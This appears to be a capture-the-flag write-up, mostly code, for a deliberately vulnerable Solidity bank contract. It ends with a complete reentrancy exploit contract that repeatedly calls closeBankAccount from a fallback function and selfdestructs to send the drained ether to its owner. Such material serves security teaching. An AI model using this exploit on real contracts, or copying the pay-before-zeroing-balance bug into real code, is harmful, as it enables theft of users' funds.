The Royal Mint of Spain has just called, all their money's gone.
It seems to be coming from their new credit card system linked to
the blockchain. Can you investigate and replicate the exploit?
They just deployed a test contract for you, steal the ether they
stored on it!

pragma solidity ^0.6.0;
import "./SafeMath.sol";

contract moneyHeist {
    using SafeMath for uint256;
    mapping(address => uint256) private bankRobberAccount;
    mapping(address => bool) private accountAlreadyExists;
    mapping(address => bool) private hasAlreadyWithdrawn;
    mapping(address => bool) private isAccountActive;
    mapping(address => bool) private inWithdrawalProcess;
    uint256 public possibleWithdrawalPerDay;

    constructor() public payable {
        possibleWithdrawalPerDay = 0.001 ether;
        bankRobberAccount[address(this)] = msg.value;
    }

    function createNewAccount() public payable {
        require(accountAlreadyExists[msg.sender] == false);
        bankRobberAccount[msg.sender] = msg.value;
        hasAlreadyWithdrawn[msg.sender] = false;
        isAccountActive[msg.sender] = true;
        accountAlreadyExists[msg.sender] = true;
    }

    function checkAccountBalance(address accountAddress)
        public
        view
        returns (uint256)
    {
        return bankRobberAccount[accountAddress];
    }

    function fundsMovementProcess(
        address sourceAddress,
        address destinationAddress,
        uint256 transferAmount,
        uint8 transferType
    ) public {
        require(inWithdrawalProcess[msg.sender] == true);
        if (transferType == 1) {
            bankRobberAccount[destinationAddress] = bankRobberAccount[destinationAddress]
                .sub(transferAmount);
        } else if (transferType == 2) {
            bankRobberAccount[destinationAddress] = bankRobberAccount[destinationAddress]
                .add(transferAmount);
            bankRobberAccount[sourceAddress] = bankRobberAccount[sourceAddress]
                .sub(transferAmount);
        } else {
            revert();
        }
    }

    function transferBetweenAccounts(
        address destinationAddress,
        uint256 transferAmount
    ) public {
        require(
            isAccountActive[msg.sender] == true &&
                isAccountActive[destinationAddress] == true
        );
        require(bankRobberAccount[msg.sender] >= transferAmount);
        inWithdrawalProcess[msg.sender] = true;
        fundsMovementProcess(msg.sender, destinationAddress, transferAmount, 2);
        inWithdrawalProcess[msg.sender] = false;
    }

    function dailyWithdrawalRequest(uint256 transferAmount) public {
        require(transferAmount <= possibleWithdrawalPerDay);
        require(bankRobberAccount[msg.sender] >= transferAmount);
        require(isAccountActive[msg.sender] == true);
        require(hasAlreadyWithdrawn[msg.sender] == false);
        inWithdrawalProcess[msg.sender] = true;
        (bool isSuccessfulTransfer, ) = msg.sender.call.value(transferAmount)(
            ""
        );
        require(isSuccessfulTransfer);
        fundsMovementProcess(address(this), msg.sender, transferAmount, 1);
        hasAlreadyWithdrawn[msg.sender] = true;
        inWithdrawalProcess[msg.sender] = false;
    }

    function closeBankAccount() public {
        require(isAccountActive[msg.sender] == true);
        (bool isSuccessfulTransfer, ) = msg.sender.call.value(
            bankRobberAccount[msg.sender]
        )("");
        require(isSuccessfulTransfer);
        bankRobberAccount[msg.sender] = 0;
        isAccountActive[msg.sender] = false;
    }
}

// Example smart contract
mapping (address => uint) private userBalances;

function withdrawBalance() public {
    uint amountToWithdraw = userBalances[msg.sender];
    (bool success, ) = msg.sender.call.value(amountToWithdraw)("");
    require(success);
    userBalances[msg.sender] = 0;
}

// Contract fallback function
fallback () external payable {
    // code here is executed
}

// Exploit snippet
fallback () external payable {
    // if the other contract has any money more to send us...
    if (msg.sender.balance >= msg.value) {
        // call withdraw again!
        Bank(msg.sender).withdrawBalance();
    }
}

function dailyWithdrawalRequest(uint256 transferAmount) public {
    require(transferAmount <= possibleWithdrawalPerDay);
    require(bankRobberAccount[msg.sender] >= transferAmount);
    require(isAccountActive[msg.sender] == true);
    require(hasAlreadyWithdrawn[msg.sender] == false);
    inWithdrawalProcess[msg.sender] = true;
    (bool isSuccessfulTransfer, ) = msg.sender.call.value(transferAmount)(
        ""
    );
    require(isSuccessfulTransfer);
    fundsMovementProcess(address(this), msg.sender, transferAmount, 1);
    hasAlreadyWithdrawn[msg.sender] = true;
    inWithdrawalProcess[msg.sender] = false;
}

function fundsMovementProcess(
    address sourceAddress,
    address destinationAddress,
    uint256 transferAmount,
    uint8 transferType
) public {
    require(inWithdrawalProcess[msg.sender] == true); // <-- this prevents our attack!
    ...
}

function closeBankAccount() public {
    require(isAccountActive[msg.sender] == true);
    (bool isSuccessfulTransfer, ) = msg.sender.call.value(
        bankRobberAccount[msg.sender]
    )("");
    require(isSuccessfulTransfer);
    bankRobberAccount[msg.sender] = 0;
    isAccountActive[msg.sender] = false;
}

pragma solidity ^0.6.0;
import "./moneyHeist.sol";

contract moneyExploit {
    address private _owner;

    constructor () public {
        // store the address of the creator of the contract, the "owner"
        _owner = msg.sender;
    }

    function execute(address heistAddress) public payable {
        require(msg.sender == _owner);

        moneyHeist heist = moneyHeist(heistAddress);
        
        // create a new account using the currency in this function call
        heist.createNewAccount.value(msg.value)();

        // start the attack by closing the account
        heist.closeBankAccount();
    }

    fallback () external payable {
        // if the bank has any more money, close the account again
        if (msg.sender.balance >= msg.value) {
            moneyHeist(msg.sender).closeBankAccount();
        }
    }

    function drain() public {
        // check that the caller is the owner
        require(msg.sender == _owner);

        // self destruct, sending all of our earnings to the owner
        selfdestruct(msg.sender);
    }
}